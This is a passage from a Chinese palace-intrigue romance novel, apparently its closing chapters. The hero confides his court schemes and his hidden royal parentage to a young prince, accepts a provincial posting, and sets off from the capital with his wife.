杨巡毕竟是皇子,平日都待在宫里,对于宫外的事知道的没有那么迅速。何况今日长公主府的事被及时封锁,他更不会知道。
可他居然能猜到宴上有事发生,徐肃年看着杨巡的眼神颇有些复杂。
杨巡感觉到他的视线,忍不住问:“你怎么这么看我?”
徐肃年却没有回答这个问题,而是回答了他方才的那个问题,“今日宴上,阿乔中了毒。”
“阿乔?”杨巡圆咕隆咚的大眼睛转了转,盯着徐肃年,问道,“就是你那新婚妻子?那个傻乎乎的小娘子?”
“杨巡!”徐肃年语气警告。
“好我不说她。”杨巡做了个闭嘴的动作,随后又忍不住撇嘴,“我上次在宫中见她的时候,她就是傻乎乎的嘛,不认识我也就算了,还把我当成小太监,我有那么不起眼吗?”
提起这个,徐肃年也忍不住皱眉,“你那天为何要去招惹她?阿乔不知我们的事,我不想让她知道这么多。”
杨巡说:“我好奇啊,好奇你这新婚妻子长什么样子。皇帝几次想给你赐婚,你都一直拒婚,这次居然不惜一切请旨赐婚,我当然好奇那小娘子是何方神圣了。”
徐肃年无语地叹口气,然后重新把话题转回去,说:“今日宴上,有人对阿乔下毒,然后婢女捡到了这个。”
徐肃年从袖中掏出那枚香囊。
七皇子接过,皱眉看了几眼,思索道:“看着有点眼熟啊……好像见谁戴过……”
“这是杨遂的。”
先前在丹宁长公主跟前,徐肃年并未把话说,但这会儿当着杨巡的面,他的语气已是十分笃定。
听到这话,杨巡也蹙起眉,“太子?”
徐肃年将宴上的事给杨巡完整复述了一遍。
杨巡听完眉头皱得更紧,“难道杨遂还对盛家……”
说到一半,他又觉得哪里不对劲,他低头看向那枚香囊,忍不住问:“你是怎么确定这枚香囊是杨遂的?”
徐肃年说:“我见他戴过,小太监还不小心打湿了茶水,被我看到了。”
“这么巧……”杨遂怀疑道,“这么巧被你看到,被你记住,又这么巧落下一个香囊在这。杨遂虽然不聪明,但也没有这么蠢罢。”
徐肃年眼底流露出一抹赞许,却没回答,只又问:“那你觉得是谁?”
杨巡听到这个问题,没忍住白了徐肃年一眼,“这么蠢的问题也问我?我已经十四岁了,不是小孩子了。”
徐肃年盯着那个香囊,神色幽暗,说道:“是啊,你才十四岁,就能想明白这个道理。可惜杨适都二十岁了还把我当傻子。他以为挑拨了我和太子的关系,就能让我站队到四皇子府一边,真是蠢透了。”
他摇头轻叹一声,“对手如此,看来我也不必担心你了。”
到底还年轻,杨巡弯眉笑了笑,然后把香囊还给徐肃年,问:“那这香囊,你预备如何处理?”
“自然是实话实说,将一切都推到太子身上。”
听着他这故作实诚的话,杨巡忍不住说:“还是你奸诈,知道皇帝不会在这时候对杨适怎么样,干脆顺水推舟先把杨遂拉下马……他这太子之位,的确也坐得够久了。”
听他这么评价自己,徐肃年也没生气,笑了笑,又与他详谈几句,便毫不客气地开口赶人,“时候不早了,你该回宫了。”
杨巡挑眉道:“是我该走了,还是你该走了?盛家小娘子等不及么?”
听出他话中有话,徐肃年的脸色都冷下来几分,“她是我的妻子,对她尊重些。”
“原来,你是真的对她情根深重。”杨巡表情颇为复杂,“那今日这番算计,你也是为了她了?”
徐肃年明显有些意外,不过他很快把这情绪压了下去,没有回答。
杨巡却以为他不想承认,再开口,语气中不由得带了点质问:“今日徐荆和姑姑接连入玄元殿觐见陛下,姑姑甚至提到了和离之事,你敢说这件事不是你在悄悄推动,”
徐肃年语气冷静,“我只是实话实说罢了。”
杨巡却道:“今日这么多事凑在一块,今日又是姑姑生辰,根本不是坦诚的好时机,偏偏你在今日将身份捅破,不就是因为你知道依着姑姑的性子,一定会立刻进宫找皇帝对质,届时姑姑也一定会告诉他,这件事是你告诉她的。”
“依着皇帝那多疑的性子,恐怕他不会觉得你是架不住心里愧疚才坦白,只会以为你是对自己的身份起了怀疑,今日就是想借长公主之口,确定你自己到底是不是皇子。”
“如此情况之下,你明日再将那香囊一交上去,无论皇帝心里会怎么想太子和老四,但我知道,他一定会对你生出怀疑,怀疑你已经有觊觎东宫之心,想要争权。到时候,他只怕会立刻将你派出去,让你走得越远越好。”
“你是故意这么做的,故意在今日挑明,因为你想离开长安,不想再蹚这趟浑水了。”
杨巡紧紧盯着徐肃年,质问:“是不是,大哥?”
第72章 启程前路漫漫,携手同行
大哥这两个字一叫出来,徐肃年一贯冷静的表情也略显动容。
杨巡是多么机灵敏锐,如何看不出来徐肃年的表情变化。他凑到徐肃年跟前,说:“大哥,你我之间,也不能说吗?”
徐肃年轻叹一声,无奈道:“还想让我说什么?你不是都说了吗?”
“所以……”
纵然杨巡已经将真相猜得八九不离十,听到徐肃年确认的话,仍觉得有些不敢相信,“所以,你真是故意如此?”
徐肃年坦然地点了点头。
但杨巡还是不明白,“为何,你为何要这么做?像先前那样,不是很好吗,为何非要离开长安?”
杨巡虽对帝位早已有意,但因为年少,从未主动暴露在众人面前,徐肃年与他虽早早就站到同一阵容里去了,但几乎没人知道他们二人的关系。
对于徐肃年的身份,杨巡也很早就知道,也知道他根本无心恢复身份,却没想到他现在竟想要离开长安。
徐肃年道:“只是暂时而已,我可没说我要一直不回来。”
“那你什么时候回来?”
徐肃年笑着捏了捏杨巡的肩膀,“等你坐上那个位置的时候,我自然就回来了。”
“可是……”杨巡还有话说,“可是,没有你我不行的。大哥,当初若不是你救了我,我早就活不下去了,你不帮我,我自己怎么坐到那个位置?”
“太子之位早已摇摇欲坠,只要将那枚香囊交上去,他定然会被废除。杨适蠢钝,更是不能出头。”
“何况……”徐肃年顿了顿,冷淡道,“皇帝早就不能生育了,这位置除了你,还有谁能坐?”
“什,什么?”
纵是杨适听了,不免也被惊到了,“你,难怪老东西这些年往宫里纳了那么多的嫔妃,却始终没有动静,原来是你做的……”
这些年徐肃年跟在皇帝身边,别的不说,至少信任是真的得到了,区区一碗绝嗣药对他来说轻而易举,太医院也都是聪明人,就算查出来也不会将这种事宣之于口。
他冷笑道:“只给他下一个区区绝嗣药,够便宜他了。”
杨巡能听出他言语之间明晰的恨意,他犹豫了半晌,还是把那个一直以来的疑问问出了口,”
大哥,你既然早知自己身份,为何,为何不自己去争这皇位呢?”
虽然皇帝无情,可他到底是嫡长子,这些年又得皇帝教养多年,对崇安帝来说,他到底是个和其他儿子不同的。
除此之外,无论年岁、才干、能力,皆是出类拔萃。这些年若无徐肃年帮衬,杨巡自己如何能在漫漫深宫中长大。对于这个大哥,他既敬仰又钦佩,更知他的人品心性,将来定是一个好皇帝。
徐肃年却道:“你在说什么?”
他微微一笑,“我姓徐,不姓杨,如何夺那位置?”
“可是……”
杨巡觉得这根本不是理由,正要反驳,抬头间触到徐肃年幽暗的双眸,将要说出口的话又生生顿住了。
如今的朱皇后虽是崇安帝的第二任妻子,却是他的第一任皇后。
当年谭氏只做了两年太子妃就病逝了,短暂的如花一样,谭家也早已败落无人。
如今崇安帝已经御极多年,手中权力越掌越大的同时,也在极力抹除过去的屈辱痕迹。以至于现在很多人都不知道崇安帝还有一位姓谭的元妻。
在皇室记载中,谭家犯了大罪,谭氏郁郁而死,甚至没有追封。可纵连杨巡都能猜到,谭氏之死,定然和崇安帝脱不了干系。
想来徐肃年也是明白这一点,才在心里对崇安帝恨之入骨。
而若想登基,除非篡位,否则他只能认祖归宗,这对徐肃年来说,和认仇为父有何区别。
只看杨巡的眼神,徐肃年就知道他明白了自己的心思。
他当年刚发现这件事的时候,的确以为自己是徐荆的外室子。
他一度灰心,自觉无颜面对丹宁长公主,一度有过寻死的念头,可是在这个时候,最着急不是徐荆,反而是崇安帝。
他在宫中得知此事,不仅送了许多灵丹妙药,还特意将他送出长安散心。
他过于热切的态度,让徐肃年觉出不对,在边塞两年,他一直记着这个念头,顺着那女子牌位去查,最后终于查到了自己的真正身份。
他十四岁就知道自己是谁的儿子了。
边塞的风光再美,也无法治愈他的心疾,他之所以能活下来,是他得知了生母惨死的真相,他要为她报仇。
在一开始的时候,他不是没想过要抢那位置,可随着与皇帝日益相处下来,他深切地明白到,若他想要登位,必然要在崇安帝面前百般隐忍,扮演一个乖顺的好儿子。
让他改姓杨,认崇安帝为父,不若一刀杀了他。
正巧他在这时遇到了七皇子杨巡。
杨巡也是个可怜的孩子,当年朱皇后有孕,崇安帝报复般地将她房中所有的宫女都封为了贵人,全都宠幸了一遍,甚至还有一个怀了身孕,正是杨巡的生母周氏。
在崇安帝一时的庇佑和宠爱之下,孩子是生出来了,可也很快就被皇帝抛之脑后。
没多久,周氏就被朱皇后折磨死了,只留下杨巡一个人在宫里艰难度日。
他恨朱家,更恨崇安帝。
徐肃年和杨巡年岁虽然差着,这仇家却一样,两人就这样逐渐走到了一起。
不知是不是年少无母,杨巡十分聪慧,且对他十分依赖。两人这些年也从一开始单纯的盟友关系,逐渐走到今日。
如果没有意外,徐肃年会一直这么暗中帮着杨巡,直到他成为太子。
但是那个意外还是来了——
他结识了盛乔,并且爱上了她,娶她为妻。
从崇安帝给盛乔的二叔盛怀章封爵时,徐肃年就知道崇安帝这是对自己起了彩礼之心,他试图分化盛家,以此打消这次联姻给他造成的威胁。
但当时徐肃年只是生出了这个念头,还没有做出决定,毕竟燕国公府虽然历来不涉党争,可身处朝堂之中,哪有真正的独善其身。
直到今日盛乔出了事。
徐肃年既后悔又后怕,他到底还是把阿乔牵扯进来了。
阿乔天真单纯,不懂这些复杂局面,徐肃年也不想将这些强加于她,可是今日的事实在让他后怕。
幸而今日做出这件事的是杨适那个蠢货,若是旁人,只怕不是下一副“今日醉”这么简单。
也正是因此,徐肃年才生出要抽身的念头。
太子和四皇子都蹦跶不了多久了,杨巡也已长成,他这个幕后的帮手不再重要,也可以离开了。
只是唯一对不起母亲,这些年一直不知真相,今日又被他利用。
但想来等她入宫之后,就会从崇安帝哪里得知真相,只盼能让她少伤心些。
果然,接下来的一切发展都如徐肃年所预料的那样,崇安帝第二日拂晓便召他入宫。
徐肃年根本不等崇安帝开口,便主动呈上宴上搜到的那枚香囊,“陛下,这是太子的东西。”
原本崇安帝也不确定徐肃年到底知不知道自己的身份,只是想将他召来试探一番。可此时一听到徐肃年这话,脸色霎时变了。
他从庆和手里接过香囊,凝神看了半晌,才道:“朕知道了。”
他将香囊放下,然后对徐肃年说:“这段日子,你在家里也歇得够久了,朕今日召你来,主要是想给你重新找个差事。”
徐肃年作出一副惊喜的模样,高声应道:“是。”
“洛州一案上个月才算是彻底了了,只是官员裁撤太多,如今正是空缺多的时候。”崇安帝缓缓说道,“你正年轻,需要历练,正巧现在还缺一个刺史之位,是正三品的缺,你就替朕去好好看着洛州罢。”
听到洛州的时候,徐肃年的眉尾就微微挑了一下,他预料到崇安帝会将他外放,只是没想到竟是洛州。
这个地方徐肃年从前不止去过一次,但是因为有了和盛乔的那些美好回忆,这里好像对他来说不一样了。
徐肃年不自觉地抿了抿唇。
崇安帝看着他这个表情,还以为他是心有不满,语气一下子冷了下来,“少安,你还不谢恩?”
徐肃年慢吞吞地磕头谢恩,“臣领旨。”
虽然不情愿,但见他到底是乖乖领了旨,崇安帝心里的火气勉强压了下去。
其实就算他知道了自己的真正身份又如何,只要他一直不认他,他就永远姓徐,永远也翻不出风浪来。
洛州早已不是那个洛州了,这一年来,他没少往洛州安插自己的人,只要徐肃年安分老实,他也不会亏待他的,毕竟是自己的儿子。
这样想着,崇安帝的语气也不自觉地缓和了下来,“念在你新婚的份上,此行可以带着你那小妻子同去。”
崇安帝在想什么,徐肃年心知肚明。但他只做不知,再度俯首谢了一次恩。
徐肃年升任洛州刺史的事很快传遍了京城,盛乔深居侯府,一向不关心官场的事,还是郑夫人得知徐肃年升任洛州刺史之后派人来问,她才知道徐肃年要去洛州了。
徐肃年回家路上便有些惴惴,这件事一直以来都是他独自筹划,并未告诉盛乔,想来她知道后心里不会太开心。
不料回去之后盛乔一切如常,没有半点生气的意思,反而还主动问他,什么时候启程,好快些收拾行李。
徐肃年道:“半个月之后启程,行李的事你不用忙,我没有什么行李。”
盛乔道:“你没行李我有啊?咱们两个人……”
不等她把话说完,
便被徐肃年打断了,“阿乔,此行毕竟是公事,路途遥遥,我自己一个人去就是了。”
盛乔没听懂似的,“你什么意思?难道你要把我一个人扔在家里?”
徐肃年说:“我已经和岳父岳母打好招呼了,这段日子你暂回燕国公府住。”
盛乔脸上的表情彻底僵住,盯着徐肃年看了许久,但没有再开口说话。
徐肃年知道阿乔是生气了,想着晚上与她再与她将其中的利害关系讲清楚,没想到沐浴回房之后,居然看到盛乔在收拾东西。
徐肃年第一反应以为她是在帮自己收拾行囊,忙要上前阻止,“阿乔这些我自己……”
然而走近一看,才发现盛乔收拾的都是她自己的东西。
徐肃年以为他还是想要跟着,不由得有些头疼,可劝说的话还没说出口,就听盛乔道:“我听你的,明日就回燕国公府住。”
徐肃年大惊,“我还没走呢?你这么早回去做什么?”
然而盛乔却已经不理他了,包袱一卷扔到桌上,然后在徐肃年开口前,将自己藏进了被子里。
见她这模样,徐肃年纵使想劝也不知道如何开口了。等到第二日,盛乔连早膳都没吃,就回了娘家。
看到盛乔的马车驶出端阳侯府时,徐肃年后悔的念头达到了顶峰,他甚至想要上前阻拦,可最终也没有动作。
盛乔当真是说话算话,说回燕国公府,当天晚上果然没再回来。
徐肃年本就已经足够煎熬,还日日见不到盛乔,更觉得这偌大的侯府待不下去了。
于是,他根本没有等到半个月,第三天就启程出发了。
卯正开城门,但因为徐肃年整夜未眠,很早就出来了,于是迫不得已在城门口等。
幸而他们此行是马车,齐甄将马车停下之后,徐肃年打发他去吃些东西,然后一个人在车厢里小憩。
可他才刚闭上眼睛,就听得车门被人咚咚咚的敲响,徐肃年不悦的睁开眼,只见帘子撩起,露出一张熟悉的俏脸来。
盛乔一身浅蓝色的男装,右肩背着一个小包袱,盈盈立在车辕前。
怎么也没想到盛乔会出现在这,徐肃年愣怔着说不出话来,好半晌才生出心思打量眼前的盛乔。看她这身打扮,想来是早就计划好了,却一直不告诉自己。
和他在一起久了,连阿乔也学会骗人了。
徐肃年有些无奈,又倍觉感动,他原本是不舍的让盛乔跟着自己吃苦的,也怕她不愿意离开家。
可他忘了,他们早已是夫妻了,本该一路同行。
两人隔着撩开的车帘对视,谁都没有先开口,沉默的气氛仿佛让时间倒转,又回到了他们初见那日。
只是,这次是徐肃年先开口——
“小娘子这是去哪?”徐肃年问。
“去洛州,找我的夫君。”盛乔眉眼弯弯的盯着他,“郎君,可否载我一程?”
话音刚落,卯正的更声响起,厚重的城门被推开,徐肃年朝盛乔伸手,将她拉上马车。
初冬的日头迟迟升起,温暖的阳光将马车拢住,徐肃年和盛乔并肩依偎其中。
前路漫漫,这次,他们携手同行。
——正文完。【魔蝎小说 mo xie xs .c om】